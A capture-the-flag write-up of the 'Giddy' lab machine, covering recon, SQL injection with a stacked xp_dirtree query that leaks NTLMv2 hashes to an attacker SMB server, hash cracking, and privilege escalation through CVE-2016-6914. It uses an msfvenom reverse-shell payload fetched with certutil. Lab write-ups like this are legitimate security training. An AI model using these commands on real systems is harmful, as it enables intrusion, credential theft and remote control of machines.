Giddy Writeup

August 30, 2023 | 8 minutes

Reconnaissance

$ nmap -sCV -p 80,443,3389,5985 -o nmap.txt 10.10.10.104
# Nmap 7.93 scan initiated Sat Oct 21 14:20:02 2023 as: nmap -sCV -p 80,443,3389,5985 -o nmap.txt 10.10.10.104
Nmap scan report for 10.10.10.104
Host is up (0.081s latency).

PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
443/tcp  open  ssl/http      Microsoft IIS httpd 10.0
|_ssl-date: 2023-10-21T21:20:31+00:00; 0s from scanner time.
|_http-title: IIS Windows Server
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
| tls-alpn:
|   h2
|_  http/1.1
| ssl-cert: Subject: commonName=PowerShellWebAccessTestWebSite
| Not valid before: 2018-06-16T21:28:55
|_Not valid after:  2018-09-14T21:28:55
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: GIDDY
|   NetBIOS_Domain_Name: GIDDY
|   NetBIOS_Computer_Name: GIDDY
|   DNS_Domain_Name: Giddy
|   DNS_Computer_Name: Giddy
|   Product_Version: 10.0.14393
|_  System_Time: 2023-10-21T21:20:16+00:00
|_ssl-date: 2023-10-21T21:20:31+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=Giddy
| Not valid before: 2023-10-20T21:09:11
|_Not valid after:  2024-04-20T21:09:11
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
# Nmap done at Sat Oct 21 14:20:32 2023 -- 1 IP address (1 host up) scanned in 29.83 seconds

Visiting the website on port 80 and 443 both returned the same thing. It was the default Windows IIS, but with an image of a happy puppy. :D With the small number of ports open and the seemingly bare Windows IIS server, I decided to directory/file brute-force the URL with gobuster. I like using the directory-list-2.3-medium.txtwordlist.

Directory/file Brute-forcing

$ gobuster dir -w directory-list-2.3-medium.txt -u http://10.10.10.104
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.104
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/remote               (Status: 302) [Size: 157] [--> /Remote/default.aspx?ReturnUrl=%2fremote]
/mvc                  (Status: 301) [Size: 147] [--> http://10.10.10.104/mvc/]
...
/Remote               (Status: 302) [Size: 157] [--> /Remote/default.aspx?ReturnUrl=%2fRemote]
...
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

gobuster was able to find 2 meaningful endpoints: /remote and /mvc. I checked out /remote first, which featured Windows PowerShell Web Access portal. It required a pair of credentials, so I initially searched for public exploits that would work with unauthenticated access. Unfortunately, this was not the initial entry point.

I got caught up on this endpoint for a while, but decided to move on with the intention of finding a pair of credentials instead.

SQL Injection

Visiting the /mvc endpoint led me to a web application. Clicking on any of the URLs led to what seemed like the result of a simple query. For example, I can imagine that the backend SQL query looks something like this.

SELECT Name, ProductNumber, Price FROM Product WHERE CategoryId = ?;

Assuming the URL parameter (ProductSubCategoryId) will replace the ?, what could I use to verify that I am able to perform an unintended action? Here’s one way I verified using a single-quote ('): This meant that the query was somehow being manipulated in an unintended manner. The query with the single-quote would look something like this.

SELECT Name, ProductNumber, Price FROM Product WHERE CategoryId = 26';

Initial Access Through NTLM Theft

Being able to successfully break the query means an attacker can manipulate the query because it is not being sanitized in the backend. But breaking the query is not enough to gain initial access. One thing an individual can do is stack queries in MSSQL, meaning appending queries using the semi-colon (;) delimiter. But what query to stack? My main goal by having access to MSSQL query execution is to steal NTLMv2 hashes.

A very brief description of NTLMv2 theft is when a client authenticates to a server over NTLMv2 such as a SMB server. This authentication process reveals the authenticating user’s NTLMv2 hash, which can be cracked using a password cracker such as hashcat.

To initiate an authentication process through the MSSQL prompt, I can use the xp_dirtree command. In a typical MSSQL prompt, the full command to initiate an authentication using xp_dirtree to my SMB server would look like this.

1> EXEC master ..xp_dirtree '\\10.10.14.22\share';

Hence, the stacked query in the URL would look like this.

https://10.10.10.104/mvc/Product.aspx?ProductSubCategoryId=18; EXEC master ..xp_dirtree '\\10.10.14.22\share'; --

On top of this, ensure that all necessary characters are URL encoded. Without the correct encoding, the correct characters may not be communicated to/in the backend.

https://10.10.10.104/mvc/Product.aspx?ProductSubCategoryId=18;%20EXEC%20master%20..xp_dirtree%20%27\\10.10.14.22\share%27;%20--

To start a listening SMB server (attacking machine) that the client (victim machine) would be authenticating to, I used smbserver.py.

$ smbserver.py share . -smb2support

Now, I can initiate an authentication request using my constructed URL.

And there’s my NTLMv2 hash.

$ smbserver.py share . -smb2support
Impacket for Exegol - v0.10.1.dev1+20230909.241.3001b26 - Copyright 2022 Fortra - forked by ThePorgs

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.104,49713)
[*] AUTHENTICATE_MESSAGE (GIDDY\Stacy,GIDDY)
[*] User GIDDY\Stacy authenticated successfully
[*] Stacy::GIDDY:aaaaaaaaaaaaaaaa:d588d082935b966f9496015349265337:010100000000000080959c650809da012061443fc6c3418d00000000010010006c0041007a006e0078004c0071006400030010006c0041007a006e0078004c00710064000200100051006d00750059004900570050004d000400100051006d00750059004900570050004d000700080080959c650809da01060004000200000008003000300000000000000000000000003000009723e83d8a928d0125f1cec4f75fde0d3e213ae439b0ac33155a857a38b9ed480a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e003600000000000000000000000000
[*] Connecting Share(1:share)
[*] AUTHENTICATE_MESSAGE (GIDDY\Stacy,GIDDY)
[*] User GIDDY\Stacy authenticated successfully
[*] Stacy::GIDDY:aaaaaaaaaaaaaaaa:1f196e17d13979236840229f936717c7:010100000000000080959c650809da01dab3557c6f0f6c8d00000000010010006c0041007a006e0078004c0071006400030010006c0041007a006e0078004c00710064000200100051006d00750059004900570050004d000400100051006d00750059004900570050004d000700080080959c650809da01060004000200000008003000300000000000000000000000003000009723e83d8a928d0125f1cec4f75fde0d3e213ae439b0ac33155a857a38b9ed480a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e003600000000000000000000000000
[*] Disconnecting Share(1:share)
[*] Closing down connection (10.10.10.104,49713)
[*] Remaining connections []

Using this command, I can crack the hash. NTLMv2Hash.txt contains the hash, and rockyou.txt is the wordlist I am cracking the hash against.

$ hashcat -m 5600 NTLMv2Hash.txt rockyou.txt

There was my set of credentials.

STACY::GIDDY:xNnWo6272k7x

And there was my PowerShell access.

Privilege Escalation

Looking around, I found a file named unifivideo. The sole contents seemed to be ASCII text reading stop.

I researched programs this file may be related to and discovered it was related to “Ubiquiti UniFi Video”. Searching for “unifivideo exploit” led me to CVE-2016-6914 (Ubiquiti UniFi Video 3.7.3 - Local Privilege Escalation).

This exploit exists due to the fact “Ubiquiti UniFi Video for Windows” is installed in C:\ProgramData\unifi-video\ by default. This program also comes with the “Ubiquiti UniFi Video” service, which runs as the NT AUTHORITY/SYSTEM account.

Because it runs as NT AUTHORITY/SYSTEM an attacker can take advantage of this if they have permission to control what is being executed. Luckily, this is possible: the C:\ProgramData directory’s default permissions allow any user to write to the contents of the directory. Because the C:\ProgramData\unifi-video has no explicit permissions, the default permissions of the C:\ProgramData directory are inherited.

When the “Ubiquiti UniFi Video” service is started, it looks and tries to execute a file at C:\ProgramData\unifi-video\taskkill.exe. This file does not exist by default, allowing for Arbitrary Code Execution.

My choice of privilege escalation would be to get a shell, so I opted for a reverse shell in my payload.

To create my reverse shell payload, I used msfvenom and ran the following command.

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.22 LPORT=4444 -f exe > taskkill.exe

Starting my meterpreter listener.

$ msfconsole
msf6 > use windows/meterpreter/reverse_tcp
msf6 > set LHOST 10.10.14.22
msf6 > set LPORT 4444
msf6 > exploit
[*] Payload Handler Started as Job 0

[*] Started reverse TCP handler on 10.10.14.22:4444

With my listener running, I grabbed my taskkill.exe file from my attacking machine to my victim machine using a python3 web server and certutil on Powershell to download the file.

PS C:\ProgramData\unifi-video> certutil -f -split -urlcache http://10.10.14.22/taskkill.exe

Now that my payload is saved into the file that will be executed by the service on start, all I have to do is restart the service.

PS C:\ProgramData\unifi-video> Restart-Service -Name "Ubiquiti UniFi Video"

And there was my meterpreter session. I connected to the session, spawned a shell, and read the root flag.